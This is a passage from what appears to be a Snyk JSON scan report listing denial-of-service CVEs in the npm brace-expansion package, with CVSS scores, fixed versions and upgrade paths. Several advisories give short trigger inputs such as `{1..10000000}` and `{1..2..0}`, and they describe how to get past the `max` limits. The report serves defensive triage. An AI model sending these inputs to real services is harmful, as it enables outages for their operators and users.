"https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 